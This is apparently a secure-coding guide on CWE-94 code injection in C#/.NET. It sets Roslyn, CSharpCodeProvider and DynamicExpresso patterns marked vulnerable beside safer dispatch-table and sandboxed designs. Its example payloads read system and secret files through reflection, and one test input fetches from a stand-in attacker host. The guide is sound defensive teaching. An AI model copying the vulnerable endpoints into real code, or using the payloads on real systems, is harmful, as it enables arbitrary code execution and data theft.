CWE-94: Code Injection - C# / .NET
Overview
Code Injection in C# occurs when untrusted input is compiled and executed as .NET code at runtime. This typically involves the Roslyn compiler API (CSharpCodeProvider, CSharpCompilation), the Microsoft.CSharp.RuntimeBinder, or dynamic expression evaluators like NCalc and DynamicExpresso without input restrictions. The Roslyn approach is especially dangerous: it compiles and loads a full .NET assembly, giving an attacker unrestricted access to the file system, network, and reflection APIs within the running process.
Unlike other injection vulnerabilities, code injection in C# does not require OS-level access - an attacker can abuse the .NET runtime directly, calling System.IO.File.Delete(), opening sockets, or spawning processes entirely within managed code.
Primary Defence: Replace dynamic compilation with static dispatch logic (dictionaries of delegates, strategy interfaces). If a configurable expression language is unavoidable, use a purpose-built sandboxed evaluator with an explicit allowlist of permitted types.
Common Vulnerable Patterns
Roslyn Runtime Compilation
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis;
using System.Reflection;
[HttpPost("execute")]
public IActionResult Execute([FromBody] string code)
{
// VULNERABLE - compiles and runs arbitrary C# submitted by the user
var syntaxTree = CSharpSyntaxTree.ParseText(code);
var compilation = CSharpCompilation.Create("Dynamic",
new[] { syntaxTree },
new[] { MetadataReference.CreateFromFile(typeof(object).Assembly.Location) },
new CSharpCompilationOptions(OutputKind.DynamicallyLinkedLibrary));
using var ms = new MemoryStream();
compilation.Emit(ms);
ms.Seek(0, SeekOrigin.Begin);
var assembly = Assembly.Load(ms.ToArray());
var type = assembly.GetType("DynamicClass");
var method = type?.GetMethod("Run");
return Ok(method?.Invoke(null, null));
}
Why this is vulnerable:
CSharpCompilationandAssembly.Load()give the attacker a full .NET assembly. The code runs with the same permissions as the web application.- An attacker can call
System.IO.File.Delete(),System.Net.WebClient, orSystem.Diagnostics.Process.Start().
CSharpCodeProvider (Legacy .NET Framework)
using System.CodeDom.Compiler;
using Microsoft.CSharp;
public object RunUserCode(string userExpression)
{
var provider = new CSharpCodeProvider();
var parameters = new CompilerParameters { GenerateInMemory = true };
// VULNERABLE - userExpression can contain any C# code
var source = $"public class D {{ public static object R() {{ return {userExpression}; }} }}";
var results = provider.CompileAssemblyFromSource(parameters, source);
return results.CompiledAssembly.GetType("D")
.GetMethod("R").Invoke(null, null);
}
Why this is vulnerable:
- String interpolation embeds user input directly into C# source.
System.IO.File.ReadAllText("/etc/passwd")is a valid C# expression.
DynamicExpresso Without Type Restrictions
using DynamicExpresso;
[HttpGet("formula")]
public double EvaluateFormula([FromQuery] string formula, [FromQuery] double x)
{
var interpreter = new Interpreter(); // no restrictions
// VULNERABLE - interpreter has default access to .NET types via T()
return interpreter.Eval<double>(formula, new Parameter("x", x));
}
Why this is vulnerable:
- By default,
DynamicExpresso.Interpreterallows type access. An attacker can calltypeof(System.IO.File).GetMethod("ReadAllText").Invoke(null, new[]{ "C:\\secrets.txt" }).
Secure Patterns
Dispatch Table (Recommended)
using System.Collections.Generic;
[ApiController]
[Route("api/[controller]")]
public class CalculatorController : ControllerBase
{
// SECURE: predefined delegates - no runtime compilation
private static readonly Dictionary<string, Func<double, double>> _ops = new()
{
["double"] = x => x * 2,
["square"] = x => x * x,
["negate"] = x => -x,
["sqrt"] = Math.Sqrt,
};
[HttpGet]
public IActionResult Calculate([FromQuery] string operation, [FromQuery] double value)
{
if (!_ops.TryGetValue(operation, out var op))
return BadRequest($"Unknown operation: {operation}");
return Ok(op(value));
}
}
Why this works:
- The dictionary maps user-controlled strings to pre-compiled lambdas. The user can never supply new code - only a key that selects from the fixed set.
- Unknown keys are rejected before any computation. There is no eval path.
Strategy Interface Pattern
public interface IRule
{
decimal Apply(decimal price, int quantity);
}
[Component] public class BulkDiscount : IRule
{
public decimal Apply(decimal price, int quantity) =>
quantity > 10 ? price * 0.9m : price;
}
[Component] public class LoyaltyDiscount : IRule
{
public decimal Apply(decimal price, int quantity) => price * 0.95m;
}
// Service resolves by name from DI container
public class PricingService
{
private readonly IReadOnlyDictionary<string, IRule> _rules;
public PricingService(IEnumerable<IRule> rules)
{
_rules = rules.ToDictionary(r => r.GetType().Name.ToLowerInvariant());
}
// SECURE: user picks a name; logic is always compiled .NET code
public decimal ApplyRule(string ruleName, decimal price, int quantity)
{
if (!_rules.TryGetValue(ruleName, out var rule))
throw new ArgumentException($"Unknown rule: {ruleName}");
return rule.Apply(price, quantity);
}
}
Why this works:
- Concrete rule classes are defined at compile time and registered in DI. User input navigates to a class, never creates one.
DynamicExpresso with Locked-Down Scope (When Scripting is Required)
using DynamicExpresso;
public class SafeFormulaEvaluator
{
private readonly Interpreter _interpreter;
public SafeFormulaEvaluator()
{
// SECURE: disable default type access, register only safe identifiers
_interpreter = new Interpreter(InterpreterOptions.Default)
.DisableReflection();
// Do NOT call .Reference(typeof(System.IO.File)) or similar
// Register only safe math functions if needed
_interpreter.SetFunction("sqrt", (Func<double, double>)Math.Sqrt);
_interpreter.SetFunction("abs", (Func<double, double>)Math.Abs);
}
public double Evaluate(string formula, double x)
{
if (formula is null || formula.Length > 200)
throw new ArgumentException("Formula invalid or too long");
return _interpreter.Eval<double>(formula, new Parameter("x", typeof(double), x));
}
}
Why this works:
DisableReflection()blockstypeof()calls,GetMethod(), and assembly access. The interpreter can only reference explicitly registered variables and functions.
Remediation Steps
Locate the Finding
- Source: User-controlled input -
[FromBody],[FromQuery], form fields, config values read from user-editable stores - Sink:
CSharpCodeProvider.CompileAssemblyFromSource(),CSharpCompilation.Create(),Assembly.Load()with user data,Interpreter.Eval()withoutDisableReflection()
Apply the Fix
- PRIORITY 1: Remove dynamic compilation entirely. Use a
Dictionary<string, Func<>>dispatch table or strategy interface. - PRIORITY 2: If an expression evaluator is a product requirement, use
DynamicExpresso.InterpreterwithDisableReflection()and register only explicitly safe functions. - PRIORITY 3: Validate all input against a strict allowlist (regex or an expression parser) before passing to any evaluator.
Verify the Fix
- Submit
System.IO.File.ReadAllText("C:\\Windows\\System.ini")as an expression and confirm rejection - Submit
new System.Net.WebClient().DownloadString("http://attacker.com")and confirm rejection - Rescan with the security scanner to confirm the finding is resolved
Check for Similar Issues
Search for: CSharpCodeProvider, CSharpCompilation, Assembly.Load, DynamicExpresso, NCalc, Roslyn, CompileAssemblyFromSource
Testing
- Normal input: run every supported operation or expression that should remain available after replacing dynamic compilation.
- Boundary input: test unknown operation names, long expressions, nested expressions, and invalid syntax for predictable rejection.
- Malicious input: submit file, network, reflection, process, and type-construction payloads; confirm they cannot reach compilation or evaluation sinks.